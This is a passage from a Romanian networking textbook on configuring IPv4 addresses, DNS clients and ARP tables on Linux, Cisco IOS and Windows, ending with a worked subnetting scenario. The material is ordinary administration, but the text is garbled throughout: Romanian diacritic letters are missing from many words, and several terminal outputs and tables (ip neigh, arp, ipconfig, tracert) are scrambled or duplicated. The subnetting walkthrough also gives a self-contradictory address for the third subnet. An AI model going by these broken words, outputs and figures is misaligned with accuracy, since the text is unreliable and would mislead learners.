root@HQ:~# ifdown eth1 root@HQ:~# ip addr s dev eth1 | grep DOWN 3: eth1: <BROADCAST,MULTICAST> mtu 1500 qdisc pfifo_fast state DOWN qlen 1000 root@micos:~# ifup eth1 ssh stop/waiting ssh start/running, process 20124 root@HQ:~# ip addr s dev eth1 | grep DOWN root@HQ:~# ip addr s dev eth1 | grep UP 3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000.

ATENIE: Pentru orice modificare n fiierul de configurare trebuie s repornii serviciul de reea sau s folosii utilitarele ifup i ifdown. Pentru mai multe detalii despre directivele acceptate, consultai pagina de manual (man interfaces).

/etc/resolv.conf
Accesarea Internetului folosind adresa IP este foarte greoaie. Astfel trebuie s reinem pentru fiecare resurs din Internet (de exemplu site-uri) o adres IP. Pentru a uura accesul, se folosesc nume. Maparea ntre un nume i o adres IP este fcut de serviciul de DNS. Pentru a putea accesa staiile din Internet dup nume este necesar configurarea clientului de DNS. Pe sistemele Linux se editeaz fiierul /etc/resolv.conf i se adaug intrri de tipul nameserver adresa_ip_server_dns. Serverele de DNS sunt oferite de obicei de ctre ISP. Mai multe detalii despre funcionarea DNS vor fi prezentate n capitolul Servicii de reea.
root@hQ:~# cat /etc/resolv.conf nameserver 213.154.124.1

Spre deosebire de serviciul de reea care trebuie repornit o dat ce am fcut vreo modificare n configuraie, n acest caz toate modificrile fcute vor fi folosite imediat dup salvarea fiierului. Deci nu este necesar repornirea niciunui serviciu.

P r o t o c o l u l I P v 4 | 105

ip neigh
Tabela ARP dintr-un sistem de operare Linux poate fi vizualizat folosind comanda ip urmat de subcomanda neigh i parametrul show. Ca i pentru subcomanda address, rularea fr parametrul show va avea acelai efect.
root@HQ:~# ip 192.168.254.6 192.168.254.9 root@HQ:~# ip 192.168.254.6 192.168.254.9 neigh show dev eth1 lladdr dev eth1 lladdr neigh dev eth1 lladdr dev eth1 lladdr 1c:6f:65:58:10:4d REACHABLE 00:11:d8:aa:03:df REACHABLE 1c:6f:65:58:10:4d REACHABLE 00:11:d8:aa:03:df REACHABLE

Dup cum s-a prezentat n partea teoretic, tabelele ARP se construiesc pe fiecare interfa. Dac dorim s vizualizm doar tabela de pe o interfa folosim parametrul dev urmat de numele interfeei.
root@HQ:~# ip neigh show dev eth0 86.122.60.1 lladdr 00:1d:71:99:05:40 DELAY

Pentru a vedea toate operaiile ce pot fi executate pe tabela ARP cu ajutorul utilitarului ip putem folosi parametrul help:
root@HQ:~# ip neigh help Usage: ip neigh { add | del | change | replace } { ADDR [ lladdr LLADDR ] [ nud { permanent | noarp | stale | reachable } ] | proxy ADDR } [ dev DEV ] ip neigh {show|flush} [ to PREFIX ] [ dev DEV ] [ nud STATE ]

Pentru a terge toate intrrile din tabel se folosete parametrul flush, urmat de cuvntul cheie dev i numele interfeei (dev este obligatoriu):
root@HQ:~# ip neigh flush Flush requires arguments. root@HQ:~# ip neigh flush dev eth1 root@HQ:~# ip neigh show dev eth1 192.168.254.6 FAILED 192.168.254.9 FAILED

De asemenea se pot aduga intrri statice n tabela ARP. Aceasta poate fi folosit ca o msur de securitate (numai cine are perechea IP-MAC configurat n tabela ARP poate accesa staia).
root@HQ:~# ip neigh add 192.168.254.20 lladdr 00:00:00:00:00:01 dev eth0 root@HQ:~# ip neigh show dev eth0 192.168.254.20 lladdr 00:00:00:00:00:01 PERMANENT

Pentur a terge o intrare folosim parametrul del:


root@HQ:~# ip neigh del 192.168.254.20 lladdr 00:00:00:00:00:01 dev eth0 root@HQ:~# ip n s dev eth0 192.168.254.20 FAILED

Se observ c se pot folosi prescurtrile descrise anterior.

arp
Ca i pentru configurarea unei adrese IP (ip address vs. ifconfig) i pentru management-ul tabelei ARP exist un utilitar echivalent cu ip neigh: arp.
root@HQ:~# arp Address 192.168.254.6 192.168.254.9 86.122.60.1 HWtype ether ether ether HWaddress 1c:6f:65:58:10:4d 00:11:d8:aa:03:df 00:1d:71:99:05:40 Flags Mask C C C Iface eth1 eth1 eth0

Se observ c rulat fr nici un parametru, arp afieaz tabela. Pentru specificarea interfeei se folosee parametrul i:
root@HQ:~# arp -i eth1 Address 192.168.254.6 192.168.254.9 HWtype ether ether HWaddress 1c:6f:65:58:10:4d 00:11:d8:aa:03:df Flags Mask C C Iface eth1 eth1

106 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Pentru a aduga manual o intrare n tabela ARP se folosete parametrul s (set):
root@HQ:~# arp -s 192.168.254.20 00:00:00:00:00:01 root@HQ:~# arp 192.168.254.20 Address HWtype HWaddress 192.168.254.20 ether 00:00:00:00:00:01 Flags Mask CM Iface eth1

Se observ o alt modalitate de interogare a tabelei ARP: comanda arp urmat de IP-ul pentru care dorim s aflm MAC-ul.

traceroute
O alt modalitate pentru a testa conectivitatea ctre o staie se realizeaz folosind utilitarul traceroute. Spre deosebire de ping, acesta arat toat ruterele prin care trece pachetul pentru a ajunge la destinaie. Mai multe detalii vor fi prezentate n capitolul Rutare.
root@HQ:~# traceroute www.google.ro traceroute to www.google.ro (173.194.39.183), 30 hops max, 60 byte packets 1 86.122.60.1.constanta.rdsnet.ro (86.122.60.1) 1.669 ms 1.692 ms 1.775 ms 2 10.225.72.145 (10.225.72.145) 1.231 ms 1.257 ms 1.238 ms 3 CR01.constanta.rdsnet.ro (213.154.123.41) 1.768 ms 1.853 ms 1.902 ms

3.4.2 Cisco IOS


Dup cum s-a precizat i n capitolul introductiv, Cisco IOS ofer mai multe nivele de administrare. Deci pentru a putea configura o interfa trebuie s intrm n modul de configurare al interfeei. Pentru a vizualiza toate configuraiile sistemului, trecem n modul global:
Router>enable Router#

Adresarea IP
Pentru a vizualiza configuraia de nivel 3 a unei interfee folosim comanda show ip interface urmat de numele interfeei.
Router#show ip interface FastEthernet 1/0 FastEthernet1/0 is up, line protocol is up (connected) Internet address is 150.240.5.243/29 Broadcast address is 255.255.255.255 [...]

Dac nu includem cuvntul cheie ip n comand, i folosim doar show interfaces vor fi afiate i configuraiile de nivel 2.
Router#show interfaces fastEthernet 1/0 FastEthernet1/0 is up, line protocol is up (connected) Hardware is Lance, address is 0040.0bbc.3801 (bia 0040.0bbc.3801) Internet address is 150.240.5.243/29 MTU 1500 bytes, BW 100000 Kbit, DLY 100 usec, reliability 255/255, txload 1/255, rxload 1/255 [...]

Dac nu specificm nicio interfa dup comanda show ip interface, vor fi afiate toate interfeele sistemului:
Router#show ip interface FastEthernet0/0 is up, line protocol is up (connected) Internet protocol processing disabled FastEthernet0/0.8 is up, line protocol is up (connected) Internet address is 150.240.5.225/28 [...] FastEthernet0/0.140 is up, line protocol is up (connected) Internet address is 150.240.3.1/24 [...]

Pentru a realiza orice fel de configurare trebuie s intrm n modul global de configurare, dup care vom intra n modul de configurare al interfeei folosind comanda interface urmat de numele acesteia:

P r o t o c o l u l I P v 4 | 107
Router#configure terminal Enter configuration commands, one per line. End with CNTL/Z. Router(config)# Router(config)#interface ? [...] Ethernet IEEE 802.3 FastEthernet FastEthernet IEEE 802.3 GigabitEthernet GigabitEthernet IEEE 802.3z [...] Router(config)#interface FastEthernet ? <0-9> FastEthernet interface number Router(config)#interface FastEthernet 0/? <0-24> FastEthernet interface number Router(config)#interface FastEthernet 0/0 Router(config-if)#

n acest moment putem configura o adres IP folosind comanda ip address urmat de adresa IP i masca de reea:
Router(config-if)#ip address 10.0.0.1 255.255.255.0 Router(config-if)#exit Router(config)#exit Router#show ip interface brief Interface IP-Address OK? Method Status FastEthernet0/0 FastEthernet0/0.8 FastEthernet0/0.140 10.0.0.1 150.240.5.225 150.240.3.1 YES manual up YES manual up YES manual up

Protocol up up up

Se observ c adresa IP a fost configurat. O alt observaie este legat de cuvntul cheie brief. Acesta poate fi folosit pentru a sumariza toate configuraiile de nivel 3 ale ruterului. Dac se configureaz o alt adresa IP, se suprascrie cea veche. De asemenea se obsev c putem folosi doar un prefix al comenzii, dac acesta este unic:
Router(config)#int fastEthernet 0/0 Router(config-if)#ip addr 10.1.1.1 255.255.255.0 Router(config-if)#exit Router(config)#exit Router#show ip interface br Interface IP-Address OK? Method Status FastEthernet0/0 FastEthernet0/0.8 FastEthernet0/0.140 10.1.1.1 150.240.5.225 150.240.3.1 YES manual up YES manual up YES manual up

Protocol up up up

Pentru a configura o interfa s i preia adresa IP de la un server DHCP folosim comanda ip address dhcp:
Router(config)#interface fastEthernet 0/0 Router(config-if)#ip address dhcp Router(config-if)#exit Router(config)#exit Router#sh ip int br Interface IP-Address OK? Method Status FastEthernet0/0 FastEthernet0/0.8 FastEthernet0/0.140 unassigned 150.240.5.225 150.240.3.1 YES DHCP up

Protocol up up up

YES manual up YES manual up

Toate configuraiile prezentate mai sus sunt fcute n memoria RAM a sistemului. La o repornire, acestea se vor pierde. Pentru a salva modificrile n memoria permanent trebuie executat comanda write memory:
Router# write memory Building configuration... [OK]

Tabela ARP
Pentru a vizualiza tabela ARP folosim comanda show ip arp:

108 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
Router#show ip arp Protocol Address Internet 10.1.1.1 Internet 150.240.5.243

Age (min) -

Hardware Addr 0007.EC90.7E01 0040.0BBC.3801

Type ARPA ARPA

Interface FastEthernet0/0 FastEthernet1/0

3.4.3 Windows
n sistemele de operare Windows adresa IP se configureaz n general prin GUI. Cei de la Microsoft au introdus un utilitar prin care acestea se pot i din linie de comand, purtnd numele de netsh. Practic cu acesta se poate realiza orice fel de configurare legat de serviciul de reea. n continuare se va prezenta metoda de configurare prin GUI a adreselor IP pe Windows 7.

Network and Sharing Center


Network and Sharing Center reprezint principalul utilitar de configurare a reelei n Windows Server 2008. El poate fi accesat n unul dintre urmtoarele moduri: n System Tray (denumit i Notification Area), dac este afiat pictograma de conectivitate la reea, printr-un clic pe aceasta urmat de selecia opiunii Open Network and Sharing Center din meniu; din Control Panel, accesnd Network and Internet urmat de Network and Sharing Center (sau direct accesnd Network and Sharing Center pentru Control Panel n modul Classic View). Att n cazul reelelor cablate ct i pentru cele wireless, Network and Sharing Center atribuie una dintre cele trei locaii posibile: public, private i domain. Aceste locaii reprezint parametri ce sunt setai pentru orice calculator ce ruleaz Windows 7 sau Windows Server 2008, fiecare configurndu-i apartenena la reea printr-una dintre cele trei locaii. Diferite proprieti ale reelei pot fi activate sau dezactivate automat n funcie de tipul ei.

3-11 Network and Sharing Center n Windows 7 Implicit, toi clienii sunt membri ai unei locaii de tip public. Pentru un astfel de calculator, Windows Firewall este activ, serviciul de Network Discovery este oprit, partajarea fiierelor i a imprimantei este dezactivat iar generarea unei hri a reelei (Network Map) este indisponibil.

P r o t o c o l u l I P v 4 | 109 Cnd un calculator este asignat unei locaii de tip private serviciul de Nework Discovery i Network Map sunt activate. Partajarea fiierelor este oprit, dar, spre deosebire de locaia public, partajarea poate fi activat individual i independent pe fiecare calculator. Dac un calculator devine membru al unui domeniu Active Directory, el este automat inclus n locaia de tip domain. Membrii acestei locaii beneficiaz de aproximativ aceeai configuraie ca i cei din tipul de locatie private, cu excepia c parametrii Windows Firewall, Network Discovery i Network Map sunt determinate de politicile de grup ale domeniului (Group Policy Settings). Alte opiuni disponibile n Network and Sharing Center: Network Discovery: Permite calculatorului propriu s poat localiza alte calculatoare din reea i s poat fi localizat, la rndul su. Opiunea poate fi setat pe On, Off sau poate avea valoarea Custom, spre exemplul n situaia n care Network Discovery este activ dar firewall-ul nu deine o regul pentru a permite funcionarea sa n reea. File Sharing: Partajarea fiierelor creeaz automat o permisiune n firewall pentru ca protocolul s poat funciona. Activarea File Sharing-ului permite utilizatorilor s partajeze fiierele din propriul profil, adic din %systemroot%\Users\%username%. Administratorii de sistem pot partaja orice fiier din calculator. Public Folder Sharing: n directorul de profil al fiecrui utilizator exist un subdirector numit Public care este automat partajat n momentul activrii acestei opiuni. La activarea Public Folder Sharing este activat automat i opiunea de File Sharing. Printer Sharing: Opiunea ofer posibilitatea de partajare a accesului la imprimantele instalate local, pentru a putea fi folosite de orice alt calculator din reea. De asemena, activarea aceste opiuni are ca efect i activarea opiunii de File Sharing. Password Protected Sharing: Opiunea este disponibil doar pe sistemele care nu sunt membre ale unui domeniu. n momentul activrii sale, accesul la resursele locale partajate este restricionat doar pentru cei care au un cont valid de utilizator pe calculatorul gazd.

Network Connections
Windows 7 detecteaz i configureaz automat conexiunile asociate interfeelor de reea din sistem. Aceste conexiuni sunt listate n Network Connections, alturi de alte conexiuni configurate manual, cum ar fi cele de tip dial-up, VPN-uri sau conexiuni de tip PPPoE. Network Connections poate fi accesat n mai multe moduri: din interfaa Network and Sharing Center, clic pe Change Adapter Settings. de la meniul Start, scriind comanda ncpa.cpl sau control netconnections fie n cmpul de Search, fie la Run. Conexiunile n sine nu permit calculatoarelor s comunice printr-o reea. n realitate, clienii, serviciile i protocoalele n contextul conexiunilor sunt cele care permit comunicaia ntre dou sau mai multe staii. n fereastra de proprieti a conexiunilor sunt afiai clienii, protocoalele i serviciile ataate acelei conexiuni. Una dintre modalitile de a afia proprietile unei conexiuni este din Network Connections, prin clic dreapta pe una dintre conexiuni i apoi clic pe Properties, din meniu. De asemenea, se poate ajunge aici i din Network and Sharing Center, prin clic pe View Status i apoi pe Properties, n dreptul conexiunii dorite. Elementele bifate indic componente ce sunt ataate conexiunii respective: Network Clients: ntr-o reea Windows, clienii sunt componente software care permit unei staii s se conecteze cu un anumit sistem de operare din reea. Implicit, singurul client disponibil pentru toate conexiunile locale este Client for Microsoft Networks. Acesta permite calculatoarelor ce ruleaz Windows s se conecteze i s partajeze resurse ntre ele. Network Services: Serviciile sunt componente software ce ofer funcionaliti suplimentare conexiunilor. File and Printer Sharing for Microsoft Networks i QoS Packet Scheduler sunt dou dintre serviciile ataate implicit tuturor conexiunilor locale. File and

110 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Printer Sharing for Microsoft Networks permite calculatorului s partajeze fiiere pentru a fi accesate din reea. QoS Packet Scheduler ofer control asupra traficului din reea, cu posibilitatea de a prioritiza anumite fluxuri de date i servicii. Network Protocols: Calculatoarele comunic printr-o conexiune doar prin intermediul protocoalelor ataate acelei conexiuni. Suportul pentru IPv4 i IPv6 este inclus implicit pentru toate conexiunile locale.

3-12 Fereastra de proprieti ale unei conexiuni Pentru a afia fereastra de stare a unei conexiuni se apas clic dreapta pe una dintre conexiunile din Network Connections i se alege Status din meniul contextual (sau dublu clic direct) sau se apas direct pe View Status din dreptul conexiunii dorite, din Network and Sharing Center.

3-13 Starea unei conexiuni, mpreun cu detaliile sale

P r o t o c o l u l I P v 4 | 111 Din fereastra de stare a conexiunii se poate accesa i o fereastr cu detalii despre conexiune, ce include detalii despre interfaa de reea folosit, adresele configurate i alte detalii legate de configurarea automat (dac este cazul). O conexiune poate beneficia de o configuraie IP manual sau automat. Configuraia manual este denumit i configuraie static deoarece persist i dup restartarea sistemului i este de importan critic pentru servere i echipamente specializate ntr-o reea. Asignarea manual a unei adrese statice i a altor parametri de configurare IPv4 unei conexiuni se face folosind fereastra Internet Protocol Version 4 (TCP/IP) Properties din lista de protocoale ataate unei conexiuni. Pentru a o accesa, se deschide fereastra de proprieti a unei conexiuni (vezi Fig. 3-12) i se face dublu clic pe Internet Protocol Version 4 (TCP/IPv4).

3-14 Fereastra de configurare a adreselor protocolului IPv4 Implicit, o conexiune de reea este setat pentru a-i obine automat configuraia. Pentru a specifica o configuraie static, este necesar selectarea opiunii Use the following IP address eventual mpreun cu specificarea unui server DNS primar i a unuia alternativ. n cazul n care n aria de broadcast a unui client nu este localizat un server DHCP, un client ce a fost configurat s i obin configuraia IP n mod automat va recurge la informaiile din configuraia IP alternativ, dac aceasta a fost definit. Asignarea unei configuraii alternative se face prin selectarea paginii Alternate Configuration din fereastra de configurare Internet Protocol Version 4 (TCP/IPv4) Properties. Configuraia alternativ suport specificarea unei adrese IP, a unei mti de reea, a unui default gateway, a unuia sau a dou servere DNS i a unuia sau a dou servere WINS. Deoarece o configuraie alternativ permite unui calculator s foloseasc o configuraie IP specific i detaliat n momentul n care nu se detecteaz un server DHCP n reeaua local, ea este util pentru sistemele mobile care circul ntre reele, unele cu servere DHCP iar altele fr.

ipconfig
Una dintre cele mai simple comenzi ce pot fi folosite pentru a consulta configuraia IP a interfeelor din sistem este ipconfig, ce poate fi introdus n prompt-ul de comand: Pentru a obine informaii extinse despre toate interfeele instalate n sistem se poate folosi parametrul /all:

112 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
C:\Users\Mihai>ipconfig /all Windows IP Configuration Host Name . . . . . . . Primary Dns Suffix . . Node Type . . . . . . . IP Routing Enabled. . . WINS Proxy Enabled. . . DNS Suffix Search List. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . : : : : : : Mihai-PC Hybrid No No labs.cs.pub.ro

Ethernet adapter Local Area Connection: Connection-specific DNS Suffix Description . . . . . . . . . . Physical Address. . . . . . . . DHCP Enabled. . . . . . . . . . Autoconfiguration Enabled . . . Link-local IPv6 Address . . . . IPv4 Address. . . . . . . . . . Subnet Mask . . . . . . . . . . Lease Obtained. . . . . . . . . Lease Expires . . . . . . . . . Default Gateway . . . . . . . . DHCP Server . . . . . . . . . . DHCPv6 IAID . . . . . . . . . . DHCPv6 Client DUID. . . . . . . . . . . . . . . . . . . . . : : : : : : : : : : : : : : labs.cs.pub.ro Broadcom 440x 10/100 Integrated Controller 00-1C-23-A0-73-6E Yes Yes fe80::21c:23ff:fea0:736e%12(Preferred) 172.16.7.65(Preferred) 255.255.252.0 12 octombrie 2012 10:14:13 12 octombrie 2012 17:48:37 172.16.4.254 172.16.4.253 285219875 00-01-00-01-16-13-75-8C-00-1C-23-A0-73-6E

DNS Servers . . . . . . . . . . . : 141.85.226.5 141.85.241.113 NetBIOS over Tcpip. . . . . . . . : Enabled Wireless LAN adapter Wireless Network Connection: Media State . . . . . . . . . . Connection-specific DNS Suffix Description . . . . . . . . . . Physical Address. . . . . . . . DHCP Enabled. . . . . . . . . . Autoconfiguration Enabled . . . . . . . . . : : : : : : Media disconnected labs.cs.pub.ro Dell Wireless 1390 WLAN Mini-Card 00-1D-D9-36-8E-71 Yes Yes

Comanda ipconfig poate fi folosit i pentru a fora primirea unei configuraii prin DHCP, dac exist un astfel de server n reea. Pentru aceasta, comanda ipconfig /release terge configuraia dinamic de pe toate interfeele configurate dinamic, iar comanda ipconfig /renew trimite cereri DHCP pe toate interfeele ce au fost setate pentru configurare automat.

netsh
Pentru inspectarea i modificarea configuraiei IP din linie de comand, Windows pune la dispoziie utilitarul netsh. Comanda poate fi folosit ca un prompt de comand, introducnd doar netsh n cmd.exe (ca mai jos) sau se poate scrie fiecare comand cu toi parametrii precedai de cuvntul cheie netsh pentru a primi imediat un rezultat.
C:\Users\Mihai>netsh netsh> netsh>exit C:\Users\Mihai>netsh interface ipv4 show The following commands are available: Commands in this context: show addresses - Shows IP address configurations. [...]

n general, navigarea prin comenzile disponibile n netsh se poate face treptat, n sensul c la fiecare adugare a unui parametru, dac acesta nu constituie o comand complet, netsh va afia o list cu toi parametrii suportai n continuare, mpreun cu o scurt explicaie a lor. Spre exemplu, dac se dorete vizualizarea tuturor comenzilor de tip show, se poate introduce urmtoarea comand:
netsh>interface ipv4 show The following commands are available: Commands in this context:

P r o t o c o l u l I P v 4 | 113
show addresses - Shows IP address configurations. show compartments - Shows compartment parameters. show config - Displays IP address and additional information. [...]

n exemplul urmtor se dorete stabilirea unei configuraii statice pe o anumit interfa. Pentru aceasta, este necesar s se ruleze nti o comand show care s listeze interfeele de reea mpreun cu numerele lor de ordine:
netsh>interface ipv4 show interfaces Idx --1 11 17 12 19 20 Met ---------50 30 5 20 20 20 MTU ---------4294967295 1500 1500 1500 1500 1500 State -----------connected disconnected disconnected connected connected connected Name --------------------------Loopback Pseudo-Interface 1 Wireless Network Connection Wireless Network Connection 2 Local Area Connection VMware Network Adapter VMnet1 VMware Network Adapter VMnet8

Dac se dorete modificarea configuraiei pentru interfaa VMWare Network Adapter VMnet1, spre exemplu, din rezultatul obinut mai sus se reine valoarea cmpului Idx din dreptul lui (19 n cazul de fa). n continuare, pentru a seta configuraia static pe interfaa mai sus menionat, se ruleaz comanda urmtoare; valoarea folosit pentru parametrul name reprezint indexul interfeei returnat de comanda show precedent:
netsh>interface ipv4 set address name=19 source=static address=10.0.0.10 mask=25 5.255.255.0 The requested operation requires elevation (Run as administrator).

Dup cum putei observa, pentru a modifica informaii trebuie s rulm comanda cu drepturi privilegiate. Mergem n meniul Start, cutam cmd, clic dreapta pe acesta, i alegem opiunea Run as Administrator.
C:\Windows\system32>netsh netsh>interface ipv4 set address name=19 source=static address=10.0.0.10 mask=255.255.255.0 netsh>interface ipv4 show addresses name=19 Configuration for interface "VMware Network Adapter VMnet1" DHCP enabled: No IP Address: 10.0.0.10 Subnet Prefix: 10.0.0.0/24 (mask 255.255.255.0) InterfaceMetric: 20

Din moment ce prezena unui server DNS este important pentru funcionarea oricrei reele conectate la Internet, se poate aduga adresa unui server DNS folosind netsh n modul urmtor, folosind acelai index al interfeei pentru a o identifica:
netsh>interface ipv4 add dnsserver name=19 address=8.8.8.8

arp
Pentru vizualizarea i modificarea tabelei ARP se poate folosi utilitarul arp din linia de comand. Pentru afiarea tabelei ARP se adaug parametrul -a:
C:\Windows\system32>arp -a Interface: 172.16.7.65 --- 0xc Internet Address Physical Address 172.16.4.23 00-19-66-78-5c-ba 172.16.4.30 bc-5f-f4-36-d1-78 [...] Interface: 10.0.0.10 --- 0x13 Internet Address Physical Address 10.0.0.255 ff-ff-ff-ff-ff-ff 224.0.0.22 01-00-5e-00-00-16 [...] Type dynamic dynamic Type static static

Pentru a aduga o intrare static se folosete parametrul -s:


C:\Windows\system32>arp -s 10.0.0.12 00-00-00-00-00-01 C:\Windows\system32>arp -a

114 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
[...] Interface: 10.0.0.10 --- 0x13 Internet Address Physical Address 10.0.0.12 00-00-00-00-00-01 [...]

Type static

Pentru a afla toate opiunile posibile, se poate rula arp fr nici un parametru.

tracert
Utilitarul tracert funcioneaz pe acelasi protocol ca i utilitarul ping dar urmrete calea pn la destinaie, returnnd adresa fiecrui ruter de pe parcurs. Este util pentru a detecta locul n care se e posibil s fi avut loc o ntrerupere n calea de la surs la destinaie. tracert este echivalentul lui traceroute din Linux.
C:\Windows\system32>tracert www.google.ro Tracing route to www.google.ro [173.194.39.152] over a maximum of 30 hops: 1 2 3 4 5 6 7 8 9 10 11 12 <1 <1 <1 <1 1 2 1 1 13 21 29 29 ms ms ms ms ms ms ms ms ms ms ms ms <1 <1 <1 <1 1 1 * 1 13 21 29 29 ms ms ms ms ms ms ms ms ms ms ms <1 <1 <1 <1 1 1 1 1 13 21 29 29 ms ms ms ms ms ms ms ms ms ms ms ms sw-c1-225.cs.pub.ro [141.85.225.1] 172.31.255.1 172.31.255.254 r-bb1-g2-0-0.Bucharest.roedu.net [217.73.164.1] te-3-1.core1.buc.roedu.net [37.128.232.129] te-0-1-0-2.core1.nat.roedu.net [37.128.239.17] te-3-4.br1.nat.roedu.net [37.128.239.1] roedunet.rt1.buc.ro.geant.net [62.40.125.137] so-3-2-0.rt1.bud.hu.geant2.net [62.40.112.193] as3.rt1.pra.cz.geant2.net [62.40.112.41] so-6-3-0.rt1.fra.de.geant2.net [62.40.112.38] google-gw.rt1.fra.de.geant.net [62.40.125.202]

Se observ c adresa fiecrui ruter de pe parcurs este tradus n numele su conform domeniului DNS creia i aparine. Rezolvarea acestor adrese poate ntrzia mult rezultatul lui tracert. Pentru a mpiedica rezolvarea adreselor n nume se poate folosi parametrul d.

3.5 Scenarii de utilizare


n Fig. 3-15 este prezentat reeaua unei microintreprinderi creia i-a fost alocat urmtorul spaiu: 86.106.167.0/24. Administratorul reelei a decis mprirea acesteia dup cum urmeaz: 12 IP-uri disponibile pentru sucursala din Constana (reprezentat de switch-ul Sw1), 25 de IP-uri pentru sediul central (reprezentat de Sw2), 6 IP-uri pentru viitoarea sucursal din Braov (reprezentat de router-ul BR) i nc 2 IP-uri pentru interconectarea dintre HQ i BR (punctul de ieire nspre Internet). Alocarea trebuie s fie optim. n cerinele de mai sus nu a fost luat n calcul adresa gateway-ului pentru fiecare subreea. Dac nu am fi avut restricia de optimalitate, problema ar fi avut un rspuns simplu: se mparte clasa alocat n 4 subreele de dimensiuni egale. Pentru a reprezenta cele 4 subreele avem nevoie s mprumutm din adresa de reea 2 bii: 86.106.167.0000 0000/24 adresa de reea 86.106.167.0000 0000/26 prima subreea 86.106.167.0100 0000/26 a doua subreea 86.106.167.1000 0000/26 a treia subreea 86.106.167.1100 0000/26 a patra subreea mprirea de mai sus are un scop pur didactic. Continum cu cerina iniial. Pentru a face o mprire optim, mai nti se sorteaz spaiile dorite dup numrul de staii: 25, 12, 6, 2. Decidem pentru fiecare subreea de ci bii de staie avem nevoie: 25 5 bii de staie (25) 12 4 bii de staie (24) 6 4 bii de staie (24). 3 bii nu ne ajung deoarece se pot reprezenta 8 adrese i noi avem nevoie de 9 (adresa de reea, de broadcast, adresa gateway-ului i a celor 6 staii) 2 2 bii de staie (22)

P r o t o c o l u l I P v 4 | 115 Pentru prima subreea, trebuie s calculm masca rezultat n urma cerinelor: dac avem 5 bii de staie, rezult c avem nevoie de 27 de bii de reea (32bii ct are o adres IP minus cei 5 bii folosii pentru staie). Deci masca va fi /27 sau 255.255.255.224 (27 de bii de 1), iar adresa de reea va fi 86.106.167.0/27. Adresa de broadcast este ultima adres din aceast subreea (toi biii de staie pui pe 1): 86.106.167.00011111 (86.106.167.31). Pentru a obine urmtoarea subreea variem bitul cel mai nesemnificativ din adresa de reea de mai sus. Astfel se va obine: 86.106.167.00100000 (86.106.167.32). Aceasta are tot masca /27, ns a doua subreea, cea de 12 staii, are nevoie de masca /28 (32 minus 4). Din subreeaua /27 gsit anterior vom alege doar ultimii 4 bii ca fiind cei de staie, iar bitul 5 l trecem la adresa de reea i l lsm pe 0. Astfel am obinut a doua subreea cutat 86.106.167.00100000/28 (86.106.167.32/28). Pentru a treia subreea avem nevoie tot de un /28 pe care l obinem variind bitul de reea lsat anterior pe 0. Astfel obinem 86.107.167.00110000/28 (86.122.60.48/28). n final mai avem nevoie de o subreea cu 2 IP-uri disponibile, deci 2 bii de staie. Spaiul cuprins ntre 86.106.167.00000000 i 86.106.167.00111111 este ocupat. Trecem la urmtorul cel mai nesemnificativ bit de 1 din poriunea de reea (acesta fiind cel ngroat). l punem pe 1 i obinem o nou adresa de reea: 86.106.167.01000000 (86.106.167.64). Aceast adres are masca /27. Vom aloca doar 2 bii pentru staie, restul rmn pentru reea, putnd s facei noi alocri la cereri ulterioare. Astfel vom obine ultima subreea 86.106.167.64/30. Fa2/0 Fa1/0 C
HQ

Fa1/0

BR

Sw1

Sw2

E 3-15 Infrastructur reea

Subreele obinute sunt: 86.106.167.0/27 86.106.167.32/28 86.106.167.48/28 86.106.167.64/30 O alternativ la mprirea optim de mai sus poate fi urmtoarea: dup sortarea n ordinea descresctoare a staiilor, se pornete de la prima adres de reea i se calculeaz adresa de broadcast n funcie de masca primei subreele. Aceast adres de broadcast adunat cu 1 ne va da adresa de reea pentru urmtoarea subreea. Astfel pentru 86.106.167.0/27 adresa de broadcast este 86.106.167.31. Adresa de reea pentru urmtoarea subreea este 86.106.167.32, aceasta avnd masca /28. Noua adres de broadcast este 86.106.167.47. Pentru cea de a treia subreea se obine 86.106.167.48, amd. n continuare vom configura cte un IP pe ruterul HQ (portul Fa0/0) i pe calculatoarele C i D din subclasa 86.106.167.32/28. Ruterul HQ va fi gateway, deci prin convenie, i vom aloca prima adres IP folosibil. C este un calculator cu sistem de operare Linux i va avea a doua adres IP, iar D es te un calculator cu Windows i va avea a treia adres IP. HQ ruleaz Cisco IOS.
HQ#configure terminal Enter configuration commands, one per line. End with CNTL/Z. HQ(config)#interface FastEthernet 0/0 HQ(config-if)#ip address 86.106.167.33 255.255.255.240

116 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

root@C:~# ip address add 86.106.167.34/28 dev eth0 root@C:~# ping 86.106.167.33 PING 86.106.167.33 (86.106.167.33) 56(84) bytes of data. 64 bytes from 86.106.167.33: icmp_seq=1 ttl=255 time=1.86 ms 64 bytes from 86.106.167.33: icmp_seq=2 ttl=255 time=1.69 ms 64 bytes from 86.106.167.33: icmp_seq=3 ttl=255 time=2.12 ms ^C --- 86.106.167.33 ping statistics --3 packets transmitted, 3 received, 0% packet loss, time 2002ms rtt min/avg/max/mdev = 1.694/1.896/2.127/0.181 ms

Iar pe calculatorul D, cel cu sistem de operare Windows:


netsh>interface ipv4 show interfaces Idx Met MTU State --- ---------- ---------- -----------[...] 12 20 1500 connected [...] netsh>interface ipv4 set address mask=255.255.255.240 Name --------------------------Local Area Connection name=20 source=static address=86.106.167.35

Testm conectivitatea de pe calculatorul D spre ruterul HQ i spre staia C:


C:\>ping 86.106.167.33 Pinging 86.106.167.33 with 32 bytes of data: Reply from 86.106.167.33: bytes=32 time<1ms TTL=128 Reply from 86.106.167.33: bytes=32 time<1ms TTL=128 [...] C:\>ping 86.106.167.34 Pinging 86.106.167.34 with 32 bytes of data: Reply from 86.106.167.34: bytes=32 time<1ms TTL=128 Reply from 86.106.167.34: bytes=32 time<1ms TTL=128 [...]

n continuare administratorul a configurat i staiile din Sw1 cu IP-uri din clasa 86.106.167.0/27, dar nu are conectivitate ntre staiile dintre cele 2 switch-uri. n capitolul 6 (Rutare) se va explica de ce nu exist conectivitate i cum se rezolv aceast problem.

3.6 Studiu de caz


3.6.1 APIPA
